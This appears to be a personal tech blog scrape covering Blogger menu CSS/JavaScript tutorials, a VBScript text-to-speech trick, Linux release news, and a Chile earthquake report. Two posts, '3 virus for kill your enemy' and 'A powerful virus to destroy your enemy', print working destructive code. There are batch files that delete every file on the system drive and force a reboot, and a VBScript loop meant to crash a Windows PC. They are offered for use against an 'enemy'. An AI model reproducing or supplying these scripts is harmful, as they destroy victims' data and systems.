I've just visited some lovely blog

You may notice that today's "Blogs of Note" blog is "The House of Marrakesh". Some minutes ago when I visit blogger.com to login in my dashboard, I saw this link and visit at that blog. Found it is a very interesting blog. The blogger visited in Morocco and blog about the current event about there staying. I read some posts and enjoyed.

I also followed the links found that blog. All of them are nice and brilliant person. I thought about myself. What a fool I am! I don't know nothing, I have not much ability to write such article and poetry! What a badluck or disability of myself!!

I commented some of the blogs. I don't know how will they take my commenting. Will they thought that I am a alien or bogus boy? Or they hello my visiting? I don't know. I am quite confused.

I think, if they have much time to visit my blog, they will thought that I am a techie blogger. But I want to say that I am not like that. I just know this tricks and want to share with all. I am still reading through the net and my neighbor library. I will share more interesting topic in future.

Today's "Blogs of Note" blog URL: http://thehouseinmarrakesh.blogspot.com/

Collapsible floating leftside menu on blogspot blog

Today we are going to add a crazy left collapsible sidebar menu in our blogger.com blog. This left collapse sidebar menu save space and time. It also float with page scrolling. So nothing will lost when a reader goes to the end of any blogpost. We have learned how to add a Floating static menu on our blogger.com blogspot blog. But it has a drawback. That is it takes space. So if our blog width is quite large then this menu will cover leftbar content.

Today I am presenting you an another floating static menu which does not cover much area of valuable left sidebar. It contain valuable links but normally it take very little place. Look at the image below:
left collapse sidebar menu
This will normaly showed on blog. When you click on the tiny right arrow mark then the menu will open to a bigger size.
left collapse sidebar menu for blogger blogspot blog
This is original menu. After clicking on a specific postlink you can fold it in it's normal mode by clicking on that tiny rightarrow pink icon. Here is the method to implement it in a blogger.com or blogspot.com blog.

Creat your own text to speech script

Today I am sharing a simple technique which you can use to talk as you mention. Write the codes below in a text file and save it as .vbs. Now double click on it. This script will talk as you mention in the quotation mark.

Dim msg, sapi

msg=InputBox("Enter your text","My text to speak")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

Quite funny. Ha!!

3 virus for kill your enemy

Don't blame me, I am just sharing 3 virus to show that how the things can be done. Do not use it to your friends. Only use these if you want to destroy your enemy who make you worry.

Making procedure is same for all viruses. Write them in a text file and save them "anyname.bat"

Number one.
This virus will delete everything of a drive.
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Number two.
This virus can crush a computer without warning.
@Echo off
Del C:\ *.* y
Number 3.
This virus is not harmful. It will only restart a PC

@echo off shutdown -r -f -t 00
I am saying again that I am just sharing my knowledge. Use these viruses on your own risk.

A powerful virus to destroy your enemy

This is a powerful but simple virus I have ever seen. Use it only if you want to kill anybody. :)
This virus has such a hidden activity that can crash any windows based PC. So beware. Use it on your own risk.

Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next
  • Write the code above in a text file and save as .vbs.
  • Name it anything that is not matter. So the name will look like "name.vbs"
  • For your own safety DON'T double click in your own PC

Floating static menu for blogger blog

floating static menu blogger blogspot blogToday we will add a floating menu at the side of our blog. I know you may ask me how to do that. Yes, Yes, I am explaining the tips now.

It is a very important and essential menubar tool, if you have much content to share with blog reader. If anybody has a huge blog which has many category and various things to share with other. If anybody want more visit through his blog's posts. Then this menubar will help to increase pageview count.

A reader may read an article at once. Such if that post is very long. Reader reading this post taking quite a long time and scrolling down to end up. That means the reader go at the end (downside/ footerside) of your blog. Now what do you expect from your blogger. You must want him/ her to read more post at least one post. But there is no any post link infront of him/ her. There is no any menu at the footer of your blog. In this moment a busy reader will leave your blog without reading more post.

But if you have this menubar in your blog, then a reader will be bound to see it infront of his/ her eyes. This menubar will float with his/ her scrolling at the bottom of page. So reader will see more link at the side of the blog and willing to click on an another post link. And it will give you more then one pageview. So, why do you late to get this valuable menubar for your blogger / blogspot blog? Let's start to grab it.
  • First of all login into your blogger.com dashboard.
  • Then go to Layout > Page elements.
  • There take a HTML/ Javascript gadget.
  • Add the code below there.

  • <div id="staticmenu" class="wireframemenu" style="left: 10px; top: 20px">
    <ul>
    <li><a href="YOUR LINK">LINK NO 1</a></li>
    <li><a href="YOUR LINK">LINK NO2</a></li>
    <li><a href="YOUR LINK">LINK NO 3</a></li>
    <li><a href="http://YOUR LINK">LINK NO 4</a></li>
    <li><a href="http://YOUR LINK">LINK NO 5</a></li>
    </div>
  • If you changed the boldface 'Left" to right, the floating static menu will appear at the right side of blog.
  • Save the gadget.
  • Now go to Layout > Edit HTML
  • Here find the line ]]></b:skin> and replace it with the codes below.

  • .wireframemenu{
    margin-top:20px;
    border: 1px solid #C0C0C0;
    background-color: transparent;
    width: 115px;
    position: absolute;
    }

    * html .wireframemenu{ /*IE only rule. Original menu width minus all left/right paddings */
    width: 164px;
    }

    .wireframemenu ul{
    padding: 4px 3px;
    margin: 0;
    list-style-type: none;
    }

    .wireframemenu a{
    font: 14px Verdana;
    padding: 4px 3px;
    display: block;
    width: 100%; /*Define width for IE6's sake*/
    color: #ff0000;
    text-decoration: none;
    border-bottom: 1px solid #C0C0C0;
    }

    .wireframemenu a:visited{
    color: #595959;
    }

    html>body .wireframemenu a{ /*Non IE rule*/
    width: auto;
    }

    .wireframemenu a:hover{
    color: #0000ff;
    border-right:2px solid black;
    }

    ]]></b:skin>


    <script type='text/javascript'>
    //<![CDATA[


    /***********************************************
    * Static Menu script- by JavaScript Kit (www.javascriptkit.com)
    * This notice must stay intact for usage
    * Visit JavaScript Kit at http://www.javascriptkit.com/ for this script and 100s more
    * Modified by: http://www.netgator.blogspot.com
    ***********************************************/

    //ids of menus to keep static on page (must be absolutely positioned, with left/top attribute added inline inside tag)
    //Separate multiple ids with a comma (ie: ["menu1", "menu2"]
    var staticmenuids=["staticmenu"]

    var staticmenuoffsetY=[]

    function getmenuoffsetY(){
    for (var i=0; i<staticmenuids.length; i++){
    var currentmenu=document.getElementById(staticmenuids[i])
    staticmenuoffsetY.push(isNaN(parseInt(currentmenu.style.top))? 0 : parseInt(currentmenu.style.top))
    }
    initstaticmenu()
    }

    function initstaticmenu(){
    var iebody=(document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
    var topcorner=(window.pageYOffset)? window.pageYOffset : iebody.scrollTop
    for (var i=0; i<staticmenuids.length; i++)
    document.getElementById(staticmenuids[i]).style.top=topcorner+staticmenuoffsetY[i]+"px"
    setTimeout("initstaticmenu()", 100)
    }

    if (window.addEventListener)
    window.addEventListener("load", getmenuoffsetY, false)
    else if (window.attachEvent)
    window.attachEvent("onload", getmenuoffsetY)

    //]]>

    </script>
  • Save your template and you are done.

Stylish pagelist menu in blogger blog

stylish pagelist menu on blogspot.com blogwidth=
Stylish Pagelist Menu
You may see that my blog's pagelist menu has some different style. Blogger.com default pagelist menu has no any styling. It looks dull, unsmart. But we can make it colorful with some little css code. I believe that you have read my previous post named 'Page List Menu Decoration' . I told you some simple things that can be done by pagelist menu. Today I am telling you some special way to give this menu a lovely style. Do the following to make a stylish pagelish menu in your blogger/ blogspot.com blog.

First of all you must login to blogger.com. Then go directly to Layout > Edit HTML page. Here we need to add some css codesnippet in the html area. Don't worry nothing is going to bad.
  • Find ]]></b:skin>
  • Add the codes below just before the ]]></b:skin>
  • .PageList {text-align:left !important;
    background: #25587E;
    }

    .PageList li a {
    -moz-border-radius:4px;
    -moz-border-radius:4px;
    color:white;
    display:block;
    font-size:1em;
    padding:5px 15px;
    }
    .PageList li a:hover {
    -moz-background-clip:border;
    -moz-background-inline-policy:continuous;
    -moz-background-origin:padding;
    background:#ffffff none repeat scroll 0 0;
    color:#333333;
    text-decoration:none;
    }
  • Click on SAVE TEMPLATE orange button.
  • You have done everything. Your page list menu now take the look of my blog.
  • If you like this post, then I will tell you more tricks to give Pagelist Menu a unique style.

Page List Menu Decoration

Now blogger.com blog has static page. For this page link it use page list menu. In this post I will describe how to customize this page list menu.

By default this pagelist menu aligned to left. But if you want to keep it in right position or in center or make it stylish like mine, all you can do with some simple CSS code.

All you need to do in Layout > Edit Html section in blogger.com dashboard.

Go to ]]></b:skin> then do the folloing:

Use Blogger to Upload Javascript (.js) files

Sometimes we need to use Javascript (.js) files to decorate our blog. Javascript files add extra feature or extra styling in a blogger blog. Normally if anybody have their own hosting they use that place to upload javascript files. But we are using free blogger/ blogspot blog. We have not any hosting in online. So where do we upload and javascript files?

I use Googlesites to upload such kind of external files. But if a blog has huge traffic then all settings will be fall. Because GoogleSites has no unlimited bandwidth. Then, this is a problem how do we solve this.

Oh yes friend. Don't be worry. It is very easy method.
Download any javascript file in your conputer. Open it in wordpad or leafpad. Select all and copy them and paste all code in the way I give the method below.
<script type='text/javascript'>

//<![CDATA[

PASTE THE JAVASCRIPT CODE HERE

//]]>

</script>
Add this code in the blogger template. Don't worry, everything will be work fine.
How easy, NA!

Stylish Menu For Blogger Sidebar

stylish css sidebar menu for blogger blogYou can recolor a menu on your blogger.com blog sidebar. Add some valuable links there with style. Just paste the code below in a html gadget and change the links. thats all

Jquery Lava Lamp menu isn't working

jquery lava lamp menu in blogger blogspot.com blogI add a "jquery lava lamp navigation menu" in my blog. I love to use this menu instead of bloggers default 'Page" gadget. But alas it is not working. Everything looks great. Mouse hovering works fine. When I put mouse cursors on a link far from "Home" lava style sliding works amazingly. I enjoyed it. But when I click on a page link, nothing happened. The link does not open. I click again and again. It seems works fine. But the links in the menubar is not working for me. I don't know what is my problem. But feel frastrated and remove that lava lamp navigation menu from this blogger.com blog.

At last I decided to remove it.
I collect that "Jquery lava lamp navigation menu" code from here.

How to add a floating-fixed button

It is very easy method. Just add this code in a HTML gadget. Gadget position in not important.

<a style="display:scroll;position:fixed;center:5px;right:5px;" href="TARGET WEBPAGE LINK" title="SOME TEXT HERE"><img src="IMAGE LINK" /></a>

To control the position change "center:5px;right:5px" numbers.
And done.

Lubuntu 10.04 (Lucid Lynx) beta 1 released

Dear friends you know that some days ago I have published a post that "Lubuntu 10.04, Alpha3 has released". Now it is time to announce a new release about famous LXDE distro LUBUNTU. Lubuntu 10.04 (Lucid Lynx) Beta 1 just released. Here is some screenshot of this nice and lite linux distribution.
Lubuntu 10.04(Lucid Lynx) Beta 1 Boot screenLubuntu 10.04(Lucid Lynx) Beta 1 boot screen

Powerful music player "Listen" for Ubuntu

We love to listen our favorite songs in computer. We use various kind of player. Player vary man to man. Someone like 'Winamp', some like 'Jetaudio', but what about if you use Ubuntu. I think we all use "Rhythmbox Music Player" to play music and online radio. I also use it. In the past days I love to use "XMMS". But bad luck, XMMS is not in Ubuntu by default. I found a new music player named "LISTEN". There are many feature in this player. Podcast Management, Shoutcast Directory, Wiki search, Lyric search, Album managemen, Equalizer and many many feature. In my choice the best feature is 'Wikiinfo". If you play a song and if it has any entry in wikipedia then you will get that information only in one click.

You can get the "Event" about that song, the lyric, copyright information, Last.fm embedding, etc without anyother plubin or software. All are builtin in this nicy player "LISTEN".

How do I make Table of contents

Net Gator Table of Contents
Dear friends,
You all know that I have made my blog's "Table of Contents" at 11 March, 2010. You may thought that how do I made that nice, easy loading, informative, archive/ date based "Table of Contents".

W3 validation problem on new design

Net Gator blog's validation problem in w3 markup validation serviceYou know last day I have redesign my blog with blogger designer. Today I checked this template in W3 validator. Here is the link. And I am atonised with the result. The validator page give me result that

Sorry! This document can not be checked.

I am quite confused. Why this kind of message it is giving me? Is the new template is not w3 complaint? Is this template not valid? I know that previous template even the Blogger's default template is show error in w3 validator, don't pass in validation. I also know that Wordpress templates are valid in w3 Markup Validation Service. So I changed my blogs template to get place in right way. But alas! New templates are not valid too.

I don't know whom I should ask this thing. Is there any Blogger authority who answer my problem?

You can download the result in PDF file.
Download Link
pdf file on zip. File size: 119 KB.

I redesign my blog with designer

I have just changed my blog's theme. I use a customise theme provide by third party. Today I applied new blogger theme which is made available by Blogger itself.
Net gator blog's previous themeThis is my older template.
Net gator blog's new themeThis is my newer template.

I do it by using Blogger's new 'Template Designer' tools. Just login at www.draft.blogger.com and found a new link button at 'Layout' tab. Click on it and entered in a imaging area. I have just discover it, what a technology they have done for blogger's pleasure. Thank you Blogger team. I follow the methods to do the changes written below.

Blogger post gadget in Gmail and iGoogle

There is a very essential and time consuming feature in Blogger blog. You can post in your blog from Gmail and Igoogle homepage.

So you don't need to login in Blogger.com everytime when you want to post something.

This nice feature has a simple limitation. You can not upload any image via this gadget. If you want to add some image/ picture then you must try to upload it later.

How to get this Blogger posting gadget?

That's very simple. Just follow the suggestions below....

Image upload error in blogger blog


I was wanted to upload two image file in post name Powerful music manager GogglesMM but failed. Blogger default uploader show an error massage. It says:
The image could not be uploaded due to an internal error.
I did not understood this massage. I don't know why this happen.
So I waited 24 hours and trying today. At last I am able to update that post. I think this is not my side problem. This is Blogger.com problem.

Table of Contents

I thought that I should make this post as a table of contents. But I am wrong on thinking. Blogger.com has a new feature call "Blogger Page". So why don't I try it to make a "Table of Contents". HA!

I madeup my mind and transfer 'table of contents' code from here to a static page. You can found that page name "Table Of Contents"

My "Net GATOR" blogs "Table of contents"

This new kind of toc can show posts in the serially of archive/ date.

Powerful music manager GogglesMM


Today I am going to introduce you a tiny little simple music manager, named Goggles Music Manager. Yes, it is a simple music manager but has some powerful options.
Goggles Music Manager for LinuxThough it can play music, developer called it music manager, not music player. Because it can short songs very fast in genre, artist, album, and has a very powerful tag editing system. It is very fast and light weight. Can start quickly, have not splash screen. This lovely application built for Linux Operating system. You can use in most kind of Linux distro like Ubuntu, Arch, BSD, Suse, Gentoo, Mandriva, Slax, Sitaz etc. And source code is open to all. So it is easy to rebuild it in your own style. The features are listed below.

69 alternative facebook profile image

default facebook avatarDefault Facebook avatar

Are you boring with facebook default profile picture? Have you changed that with your real image or with a avatar image? If you not then, why don't you try these pictures. Here are some alternatives which can be used as facebook profile picture. I found about 69 piece of nice and funny images on instafunda. You can use this collection on free of charge.
facebook profile picture_facebook profile picture_facebook default profile pic michael jackson_facebook profile mickimouse image_alternative facebook profile kitten photo_silhouette jolly roger facebook_facebook profile image horns_facebook profile einstein image_facebook profile che guevara picture_facebook profile image arrow photo
Let's fun and enjoy!!

Ubuntu changing Brand with logo and theme

Ubuntu 10.04 (Lucid Lynx) going to make some major change in all side. This is not only the version number. The changes effect on 'booting time', software managment, icon, logo, button, theme ect. Ubuntu main website also going to change their dress as like new theme. Actually Ubuntu canonical going to remake their Brand thoughts. Here are some sample from the net.
new ubuntu 10.04 logoNew ubuntu 10.04 logoubuntu10.04 logoNew Ubuntu 10.04 Logo
xubuntu 10.04 logoXubuntu 10.04 Logospread ubuntu logoSpread Ubuntu Logo

Chile quake shift Earth's axis

chile earthquake shift earth axisA NASA scientist said that Chile earthquake may have changed Earth's rotation and shortened the length of days.

Chile quake is recorded as seventh strongest earthquake in recorded history. It killed more than 700 people and caused widespread devastation. On rikhtar scale it goes to 8.8 magnitude.

NASA scientist Richard Gross (NASA's Jet Propulsion Laboratory in Pasadena, Calif) said that Chile quake should have sortened the length of an Earth day by 1.26 milliseconds.

Richard Gross and his colleagues has made a computer graphics to determine the effects of that quake. Found that it should have moved Earth's figure axis by about 3 inches (8 cm or 27 milliarcsonds).

We know that Earth's figure axis is not the same as its north-south axis, which it spins around once everyday at a speed of about 1,000 mph (1,604 kph). The figure axis is the axis which the Earth's mass is balanced perfectly. It is offset from the Earth's north-south axis by about 33 feet (10 meters).

In the news I found more information on this situation.
Strong earthquakes have altered Earth's days and its axis in the past. The 9.1 Sumatran earthquake in 2004, which set off a deadly tsunami, should have shortened Earth's days by 6.8 microseconds and shifted its axis by about 2.76 inches (7 cm, or 2.32 milliarcseconds).

One Earth day is about 24 hours long. Over the course of a year, the length of a day normally changes gradually by one millisecond. It increases in the winter, when the Earth rotates more slowly, and decreases in the summer, Gross has said in the past.

The Chile earthquake was much smaller than the Sumatran temblor, but its effects on the Earth are larger because of its location. Its epicenter was located in the Earth's mid-latitudes rather than near the equator like the Sumatran event.

The fault responsible for the 2010 Chile quake also slices through Earth at a steeper angle than the Sumatran quake's fault, NASA scientists said.

"This makes the Chile fault more effective in moving Earth's mass vertically and hence more effective in shifting Earth's figure axis," NASA officials said.

Gross said his findings are based on early data available on the Chile earthquake. As more information about its characteristics are revealed, his prediction of its effects will likely change.
This measure of shift might not sound anything major, but in reality it is!

Let's see some Chile earthquake's bigger images at Boston Bigpicture.

Pentagon gunfight- two type news

Pentagon building. (Image credit: Reuters)

Just read the news: "Pentagon security official shot by a angry gunman near the metro entrance." I read that news on "Reuters" and "CNN" but I found two type of ending in this news.

Reuters said :
"All entrances to the five-sided headquarters ............. were closed shortly after the incident."
and

CNN said:
"The metro entrance to the Pentagon was closed, but other entrances were open"
I am confused. Which should I believe.

Lubuntu 10.04, Alpha3 has released

Lubuntu an another distro of Ubuntu depend on LXDE has just published. It is alpha release, version 3. There are 4 new applications on this Lubuntu 10.04 version. And new artwork is also added in this bundle too.
new manu on lubuntu10.04New menu Icons. And panel got shiny touch.

clearlooks theme lubuntu 10.04New default theme is clearlooks.

lubuntu10.04 login screenNew LOGIN screen

pcmanfm2 instead of network managerDefault file manager 'pcmanfm2'
The new applications added in this release are:
  • Default browser "Chromium"
  • Default media player "Gnome-mplayer"
  • Wicd comes instead of Network manager
  • Default file manager is Pcmanfm2
Visit this page for download and more information.

Picnik acquired by Google.com


Recently famous image resizing online tool 'Picnik' was aquired by Google. We know that Google always make nice and attractive webtools for their user's satisfaction. Now they want to make their site more usable to online users. News is here.

We can use Picnik to crop, do touch-ups and add cool effects on our pictures online. Without leaving web browser. We don't need to do anything offline if we know the usability of "Picnik". It is a really cool tool for photo lover.

Thank you Google for this great achivement. I wish it will help me to do lot more things with image in online.